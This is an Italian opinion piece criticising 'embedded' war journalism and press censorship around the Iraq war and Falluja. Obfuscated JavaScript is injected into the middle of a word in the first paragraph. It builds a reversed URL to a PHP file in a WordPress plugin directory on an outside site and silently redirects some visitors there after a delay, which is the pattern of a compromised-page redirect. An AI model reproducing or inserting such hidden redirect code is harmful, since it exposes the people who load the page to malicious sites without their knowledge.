Giornalisti o caporali?

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E’ tempo di requiem per la libertà d’informazione. La strategia della guerra preventiva ha molti effetti collaterali. Fra questi, un nuovo modello professionale. Qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando trasmettono servizi dal fronte, con lo stesso punto di vista delle truppe che li hanno condotti fin lì, non avvisano mai chi li vede in tivù, li ascolta alla radio o li legge sulla stampa, che non sono liberi di parlare, né di vedere, né di valutare e addirittura di sapere ciò che sta realmente accadendo. Raccontano la guerra e la politica internazionale con l’elmetto calato sulla testa e la divisa dell’esercito, come se fosse la cosa più naturale del mondo.
Nelle settimane scorse le truppe statunitensi in Iraq hanno lanciato un tremendo attacco alla città di Falluja, roccaforte della guerriglia irachena che si oppone agli occupanti. Abbiamo intravisto i segnali di una battaglia cruenta, spietata. La città è stata bombardata, assediata, infine occupata, senza peraltro debellare del tutto gli insorti. Abbiamo intuito alcune cose, ma non abbiamo saputo quasi nulla. Il teatro dei combattimenti è stato precluso anche ai cronisti “embedded”, le notizie sono state censurate. In assenza dI immagini e di resoconti ufficiali, si è rinunciato a fare informazione. Tutta la grande stampa, tutte le grandi televisioni – con pochissime eccezioni – hanno rinunciato ad indagare. Non hanno nemmeno incalzato il governo statunitense per l’evidente censura in atto. La rivolta civile dei giornalisti e dell’opinione pubblica non è scattata nemmeno quando dagli “embedded” è filtrato il filmato che riprende un marine mentre uccide a sangue freddo un iracheno ferito.
Per avere una valutazione attendibile sugli effetti dell’attacco all’Iraq, c’è voluto un articolo di una rivista medica, The Lancet, che ha divulgato i risultati di una ricerca indipendente: la stima è di centomila civili iracheni uccisi dall’inizio dell’invasione. La notizia è comparsa sulla stampa di tutto il mondo ma è durata un giorno e poi è stata dimenticata: non compare nei commenti degli analisti, non è tenuta in considerazione dai politici. Per loro contano solo le notizie ufficiali, che sono quelle dei cronisti “embedded”. Il Pentagono può ritenersi soddisfatto: in pochi mesi ha imposto le sue regole al mondo dei media, incontrando rari ostacoli.
In questo contesto dobbiamo proprio stupirci che il parlamento italiano discuta una legge che impone il codice militare nelle aree d’intervento delle nostre truppe, come a Nassiriya? Dobbiamo davvero stupirci che queste norme proibiscano la divulgazione di notizie contrarie all’interesse delle forze armate? Che stabiliscano pene detentive per chi trasgredisce? Non è forse tutto questo la diretta conseguenza della resa di fronte al trionfo del giornalismo “embedded”?
Per cominciare una vera battaglia contro queste norme, sarebbe il caso di denunciare il collaborazionismo dei cronisti di guerra. Sarebbe necessario fare proposte concrete, anche clamorose. Ad esempio, perché non cominciamo a chiedere che i servizi in video, in voce o per iscritto dei cronisti di guerra “accompagnati” sul posto dagli eserciti occupanti siano segnalati ai lettori con un bollino che li identifichi come frutto del giornalismo “embedded”? Sarebbe un gesto di trasparenza, un contributo alla chiarezza e un primo passo per risalire la china di una reputazione professionale compromessa.

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